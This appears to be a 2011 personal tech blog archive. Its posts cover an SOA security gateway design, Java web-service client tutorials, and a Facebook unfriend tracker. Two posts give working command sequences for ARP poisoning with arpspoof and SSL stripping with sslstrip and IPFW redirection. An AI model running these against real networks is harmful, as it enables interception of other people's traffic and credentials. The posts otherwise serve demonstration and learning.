Monday, January 31, 2011

Building an Enterprise SOA Security Gateway

I was looking for a 'formal' definition of 'SOA Security Gateway'. Failing to find such [yes, not even in Wikipedia] let's try to build one..

Message Interceptor Gateway pattern is the one that directly comes in to my mind.. We have implemented this at many customers with WSO2 product stack.. ESB, IS, GReg and WSAS/DSS.

This pattern provides a single entry point and allows centralization of security enforcement for incoming and outgoing messages. The security tasks include creating, modifying, and administering security policies for sending and receiving SOAP messages. It helps to apply transport-level and message-level security mechanisms required for securely communicating with a Web services endpoint.

Isn't this the functionality we are looking from a Security Gateway..?

BTW, if you are building a Security Gateway, you can't ignore OWASP XML Security Gateway Evaluation Criteria project.

The OWASP XML Security Gateway Evaluation Criteria Project (XSGEC) defines an open standard for evaluating XML Security Gateways, such as those used to protect and provide security services for Web services applications.

This project categorizes the evaluation criteria in to 9 sections.

1. Authentication
2. Authorization
3. Audit Logging
4. Deployment Architecture
5. Content Validation
6. Management & Metrics
7. Transformation
8. Tools
9. Performance

The authentication section describes the support at the service level and message level for inbound and outbound communication to the Security Gateway.

In bound traffic can be protected with any of the following security techniques.

- Mutual SSL
- HTTP Basic Authentication
- HTTP Digest Authentication
- WS-Security Username Token Authentication
- WS-Security X.509 Certificate Based Authentication
- WS-Security: Kerberos Token
- SAML Authentication assertion
- Validation against Active Directory
- Dereference Active Directory Federation Service

Outbound traffic can be protected with following techniques..

- Mutual SSL
- HTTP Basic Authentication
- HTTP Digest Authentication
- WS-Security Username Token
- WS-Security X.509 Certificate
- WS-Security: Kerberos Token
- SAML Authentication assertion
- WS-Federation assertion

Looking at the Authorization section - it covers,

- XACML
- SAML
- LDAP

Being part of the WSO2 Security team for years now, it's so natural to think, how we meet these criteria with WSO2 Product Stack..?

In fact we do already... Only thing we lack is the full support for WS-Federation. Even a set of students from University of Moratuwa - currently working on adding WS-Federation support for Rampart - which is the security module of Axis2.

To be more precise - we have already done this at some of our customers.

Let me briefly share some of my experience with a customer who is highly concerned about security.

They had the backend services already implemented with WCF and protected with Integrated Windows Authentication[IWA] - hosted in IIS.

They have three types of clients who need access to the BE services.

1. Windows Client
2. C++ client running on a Linux box
3. Third party client - out side their domain

Windows client doesn't have any issues in accessing the BE services - with IWA.

C++ client had some technical challenges. It is already developed and only way it supports securing the communication channel to the BE services is through BasicAuthentication.

Third party client can be developed on any platform. The challenge is - we do not know how to authenticate users who are coming from a different domain - and they also need to integrate with internal windows authentication.

Apart from this - we also need to authorize each and every user.

Sounds interesting ? ;)

Let me summarize the requirements..

1. Windows Client -- [Authentication with Kerberos] -- [Authorization] -- > BE Services

2. C++ client -- [Authentication with BasicAuthentication] -- [Authorization] -- [Authentication with Kerberos] --> BE Services

3. Third Party client -- [Authentication?] -- [Authorization?] -- [Authentication with Kerberos] -- > BE Services

We need define a method to authenticate third party users - who we do not have access to the credential store -- that is WS-Trust

We need to do a credential conversion from BasicAuthentication to Kerberos and WS-Trust to Kerberos.

Apart from this we need to have an authorization scheme as well.

Let me explain our solution.

We decided to have WSO2 ESB - acting as a security gateway - implementing the message interceptor gateway pattern.

Also - we decided not to propagate end user credentials to the BE services. It's up to the ESB to authenticate and authorize users and occupy the trusted sub system pattern to authenticate to the BE with Kerberos.

1. Windows Client -- [Authentication with Kerberos] --> ESB -- [Authorization with XACML] -- [Authenticating with Kerberos] -- > BE Services

2. C++ client -- [Authentication with BasicAuthentication] --> ESB -- [Authorization with XACML] -- [Authentication with Kerberos] --> BE Services

3. Third Party client -- [Authentication with WS-Trust] --> ESB [Authorization with XACML] -- [Authentication with Kerberos] -- > BE Services




The above gives us a unified authentication and authorization scheme across three different clients.

It's true that with this pattern we do not pass user credentials to the BE services. But, still we need to send the user name corresponding to the request to the BE. In that case we wrote a mediator to extract the user name from the incoming request and attach it to the out going message form the ESB to the BE services.

Okay.. one last question.. It's clear that we can define an authorization scheme for internal users - based on their roles.. But.. how do we authorize third party users..?

All the requests [based on WS-trust] are signed by the corresponding STS. So - with the signature - we can identify to who a particular user belongs to. Internally we define roles for each and every partner and once via the signature we identified the partner, we can easily figure out the mapped role that particular user belongs to. The XACML policy authorizes the user against this role.

I guess that's pretty much the solution to that specific problem - although in my description I do not cover how to govern both the security policies and XACML policies - which should also be part of a Security Gateway Solution.

If you are further interested in reading about more features that you should look into, while building a Security Gateway - it's highly recommended that you go through Security Gateway Buyer's Guide.

Saturday, January 22, 2011

SOAP vs REST | XML vs JSON

Friday, January 21, 2011

Catch who removed you from Facebook...!

Facebook doesn't send notifications upon unfriending.. although it does when somebody added you.

This blog post explains how to catch people who remove you from Facebook friend list.

Before running the following java program, you need to do the following steps..

0. Go to http://www.facebook.com/#!/pages/Facebook-Developer/7213347185 and LIKE that page.

1. Go to http://www.facebook.com/developers and click on "Set Up New App"

2. Once done with [1] - go to the link http://developers.facebook.com/docs/reference/rest/auth.createtoken and select your application from the "Test Console" and click on the link which looks like https://api.facebook.com/method/auth.createToken?
access_token=...

3. Now a new browser window will be opened up and from the Url - copy the access_token - which is in the query string. Make sure you properly copy the access_token value only - don't mess up with the other query string parameters present in the same Url.

4. Replace the value of the constant ACCESS_TOKEN in code below with the one you got from [3].

5. Download the RestFB jar from here and add it to the classpath of the java program.

6. That's it and whenever you run the following program you will see the friends you made and lost from your previous run.
package samples.fb.app;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Hashtable;
import java.util.Iterator;
import java.util.List;
import java.util.Map.Entry;

import com.restfb.Connection;
import com.restfb.DefaultFacebookClient;
import com.restfb.FacebookClient;
import com.restfb.types.User;

public class FacebookTestClient {

 private final static String ACCESS_TOKEN = "126895777dsd7843z4erer7C2.WfdfgQmjj376b_gfdfdf__.3600.1295557200-787236966%7CQ0166mXlhvmBoCXohUDVpfWrYAg";

 public static void main(String[] args) {

  FacebookClient facebookClient = new DefaultFacebookClient(ACCESS_TOKEN);
  Connection<User> myFriends = facebookClient.fetchConnection("me/friends", User.class);

  List<User> list = myFriends.getData();
  Hashtable<String, String> newFriends = new Hashtable>String, String>();
  Hashtable<String, String> oldFriends = loadOldFriends();

  for (Iterator<User> iterator = list.iterator(); iterator.hasNext();) {
   User friend = iterator.next();
   newFriends.put(friend.getId(), friend.getName());

   if (oldFriends != null) {
    if (!oldFriends.containsKey(friend.getId())) {
     System.out.println("You have a new friend today, " + friend.getName());
    }
   }
  }

  if (oldFriends != null) {
   for (Iterator<Entry<String, String>> iterator = oldFriends.entrySet().iterator(); iterator
     .hasNext();) {
    Entry<String, String> friendEntry = iterator.next();
    if (!newFriends.containsKey(friendEntry.getKey())) {
     System.out.println("You lost a friend today, " + friendEntry.getValue());
    }

   }
  }

  saveFriends(newFriends);

 }

 private static void saveFriends(Hashtable<String, String> friends) {

  try {
   FileOutputStream fileOut = new FileOutputStream("friendlist.ser");
   ObjectOutputStream out = new ObjectOutputStream(fileOut);
   out.writeObject(friends);
   out.close();
   fileOut.close();
  } catch (Exception e) {
   e.printStackTrace();
  }
 }

 private static Hashtable<String, String> loadOldFriends() {

  Hashtable<String, String> friends = null;

  try {
   if (new File("friendlist.ser").exists()) {
    FileInputStream fileIn = new FileInputStream("friendlist.ser");
    ObjectInputStream in = new ObjectInputStream(fileIn);
    friends = (Hashtable<String, String>) in.readObject();
    in.close();
    fileIn.close();
   }
  } catch (Exception e) {
   e.printStackTrace();
  }
  return friends;
 }
}

Thursday, January 6, 2011

SSL stripping on OS X with SSLStrip

SSLStrip tool provides a demonstration of the HTTPS stripping attacks - you can download it from here.

Then on OS X 10.6.5 with MacPorts we need to install following dependancies.

1. $ sudo port selfupdate

2. $ sudo port install py25-twisted-web2

3. $ sudo port install py25-socket-ssl

4. $ sudo port install py25-openssl

Now, run the following from the SSLStrip home directory.

$ sudo python sslstrip.py -l 9090 -w captured.log

This will start SSLStrip listening on port 9090 - and will write all captured traffic in to the captured.log

Now starts the interesting part.. We need to make the traffic from our target machine goes through SSLStrip. To do that first we need to make sure the traffic flows through our machine. That we can do by ARP poisoning target machine. My previous blog post explains how to do that. Once that is done - we need to forward all that incoming traffic to port where SSLStrip running.

Enable IP forwarding on MAC.

$ sudo sysctl -w net.inet.ip.forwarding=1
$ sudo sysctl -w net.inet.ip.fw.verbose=1

Now we need to add a rule to IPFW to redirect traffic to the port SSLStrip is running.

$ sudo ipfw add fwd 127.0.0.1,9090 log tcp from not me to any 80

Tuesday, January 4, 2011

History of cryptography and its early stages in Europe

Very nice presentation from http://www.criptored.upm.es/intypedia

ARP poisoning with dsniff

dsniff is a collection of tools for network auditing and penetration testing. dsniff, filesnarf, mailsnarf, msgsnarf, urlsnarf, and webspy passively monitor a network for interesting data (passwords, e-mail, files, etc.). arpspoof, dnsspoof, and macof facilitate the interception of network traffic normally unavailable to an attacker (e.g, due to layer-2 switching). sshmitm and webmitm implement active monkey-in-the-middle attacks against redirected SSH and HTTPS sessions by exploiting weak bindings in ad-hoc PKI.

To install dsniff on MAC OS X - with MacPorts.

$ sudo port install dsniff

Now you need to find out two things,

1. IP address of the target machine - say 192.168.1.4
2. IP address of the Gateway - say 192.168.1.1

Let's start ARP poisoning from the attacker's machine - with arpspoof tool which comes with dsniff.

$ sudo arpspoof -i en1 -t 192.168.1.4 192.168.1.1

This will update target machine's ARP table with attacker's MAC address against the IP address of the gateway.

Now - start a tcpdump on the same interface from your machine - start viewing all the traffic going to and from the target machine.

$ sudo tcpdump -i en1

Writing a JAX-WS client to an Axis2 web service

1. Deploying the Axis2 Service

Download and launch Apache Axis2 - it comes with a sample web service which is by default available at http://localhost:8080/axis2/services/Version - we will be using this as the service to write our JAX-WS client.

2. JAX-WS

The Java API for XML Web Services (JAX-WS) is a Java programming language API for creating web services. It is part of the Java EE platform from Sun Microsystems. Like the other Java EE APIs, JAX-WS uses annotations, introduced in Java SE 5, to simplify the development and deployment of web service clients and endpoints.The Reference Implementation of JAX-WS is developed as an open source project and is part of project GlassFish.

3. Axis2 and JAX-WS

http://axis.apache.org/axis2/java/core/docs/jaxws-guide.html

4. JAX-WS client

First we need to generate the Stub classes for the service we are going to invoke. This can be done using the wsimport tool. The tool is available at [JAVA_HOME]\bin distribution.
$ pwd
/Users/prabath/blog/jax-ws
$ wsimport -p org.wso2 http://localhost:8080/axis2/services/Version?wsdl
The above resulted with the following error.
[ERROR] A class/interface with the same name "wso2.Exception" is already in use. Use a class customization to resolve this conflict.
line 11 of http://localhost:8080/axis2/services/Version?wsdl
So I got to hand edit the wsdl and save it as wsdl.xml - and run wsimport against wsdl.xml
$ pwd
/Users/prabath/blog/jax-ws
$ wsimport -p org.wso2 wsdl.xml
$ jar -cvf version-stub.jar *
Following is the client code - and you need to have version-stub.jar, which was generated in the previous step.
package jax.ws.client;

import javax.xml.ws.WebServiceRef;

import org.wso2.Version;
import org.wso2.VersionPortType;

public class VersionClient {
 @WebServiceRef(wsdlLocation = "http://localhost:8080/axis2/services/Version?wsdl")

 public static void main(String[] args) {
  try {
   Version service = new Version();
   VersionPortType port = service.getVersionHttpSoap11Endpoint();
   String response = port.getVersion().getReturn().getValue();
   System.out.println(response);
  } catch (Exception e) {
   e.printStackTrace();
  }
 }

}

Monday, January 3, 2011

Writing a JAX-RPC client to an Axis2 web service

1. Deploying the Axis2 Service

Download and launch Apache Axis2 - it comes with a sample web service which is by default available at http://localhost:8080/axis2/services/Version - we will be using this as the service to write our JAX-RPC client.

2. JAX-RPC

JAX-RPC is intended to be a Java API to expose remote procedure calls that use XML to business applications and it facilitates the invocation of remote procedures using XML as the data format and SOAP as the data protocol. The overhead in developing JAX-RPC clients is minimal since the API it self abstracts and hides the low level SOAP semantics associated with RPC from applications.

3. Axis2 and JAX-RPC

Although Axis [version - 1] had support for JAX-RPC - Axis2 does not. Axis2 has the support for JAX-WS - JAX-WS 2.0 is the successor of JAX-RPC 1.1 - the Java API for XML-based Web services. If possible, JAX-WS should be used instead as it is based on the most recent industry standards.

4. JAX-RPC client

First we need to generate the Stub classes for the service we are going to invoke. This can be done using the wscompile tool. The tool is available with the GlassFish distribution.

wscompile tool needs a configuration file as an input - which dictates where to find the corresponding WSDL and the required package names for the stubs to be generated. Let's first create that config file, say version-config.xml
<configuration xmlns="http://java.sun.com/xml/ns/jax-rpc/ri/config">
 <wsdl location="http://localhost:8080/axis2/services/Version?wsdl" packageName="org.wso2"/>
 </configuration>
Now lets generate the stubs with the wscompile tool.
$ pwd
/Users/prabath/blog/jax-rpc
$ sh ~/glassfishv3/glassfish/bin/wscompile -gen:client version-config.xml
$ jar -cvf version-stub.jar *
Following is the client code - and you need to have version-stub.jar, which was generated in the previous step and javaee.jar from [GLASSFISH_HOME]/glassfish/lib
package jax.rpc.client;

import javax.xml.rpc.Stub;

import org.wso2.VersionPortType_Stub;
import org.wso2.Version_Impl;

public class VersionClient {


 public static void main(String[] args) {

  try {
   Stub stub = createProxy();
   stub._setProperty(javax.xml.rpc.Stub.ENDPOINT_ADDRESS_PROPERTY,
     "http://localhost:8080/axis2/services/Version");
   VersionPortType_Stub hello = (VersionPortType_Stub) stub;
   System.out.println(hello.getVersion());
  } catch (Exception ex) {
   ex.printStackTrace();
  }
 }

 private static Stub createProxy() {
  return (Stub) new Version_Impl().getVersionHttpSoap11Endpoint();
 }

}
5. JAX-RPC Vs JAX-WS

JAX-WS still supports SOAP 1.1 over HTTP 1.1, so interoperability will not be affected. The same messages can still flow across the wire.

JAX-WS still supports WSDL 1.1 so what you've learned about that specification is still useful.

What are the differences?

SOAP 1.2
JAX-RPC and JAX-WS support SOAP 1.1. JAX-WS also supports SOAP 1.2.

XML/HTTP
The WSDL 1.1 specification defined an HTTP binding, which is a means by which you can send XML messages over HTTP without SOAP. JAX-RPC ignored the HTTP binding. JAX-WS adds support for it.

WS-I's Basic Profiles
JAX-RPC supports WS-I's Basic Profile (BP) version 1.0. JAX-WS supports BP 1.1. (WS-I is the web services interoperability organization.)

New Java features
JAX-RPC maps to Java 1.4. JAX-WS maps to Java 5.0. JAX-WS relies on many of the features new in Java 5.0.
Java EE 5, the successor to J2EE 1.4, adds support for JAX-WS, but it also retains support for JAX-RPC, which could be confusing to today's web services novices.

The data mapping model
JAX-RPC has its own data mapping model, which covers about 90 percent of all schema types. Those that it does not cover are mapped to javax.xml.soap.SOAPElement.
JAX-WS's data mapping model is JAXB. JAXB promises mappings for all XML schemas.

The interface mapping model
JAX-WS's basic interface mapping model is not extensively different from JAX-RPC's; however:
JAX-WS's model makes use of new Java 5.0 features.
JAX-WS's model introduces asynchronous functionality.

The dynamic programming model
JAX-WS's dynamic client model is quite different from JAX-RPC's. Many of the changes acknowledge industry needs:
It introduces message-oriented functionality.
It introduces dynamic asynchronous functionality.
JAX-WS also adds a dynamic server model, which JAX-RPC does not have.

MTOM (Message Transmission Optimization Mechanism)
JAX-WS, via JAXB, adds support for MTOM, the new attachment specification. Microsoft never bought into the SOAP with Attachments specification; but it appears that everyone supports MTOM, so attachment interoperability should become a reality.

The handler model
The handler model has changed quite a bit from JAX-RPC to JAX-WS.
JAX-RPC handlers rely on SAAJ 1.2. JAX-WS handlers rely on the new SAAJ 1.3 specification

Reference : http://www.ibm.com/developerworks/webservices/library/ws-tip-jaxwsrpc.html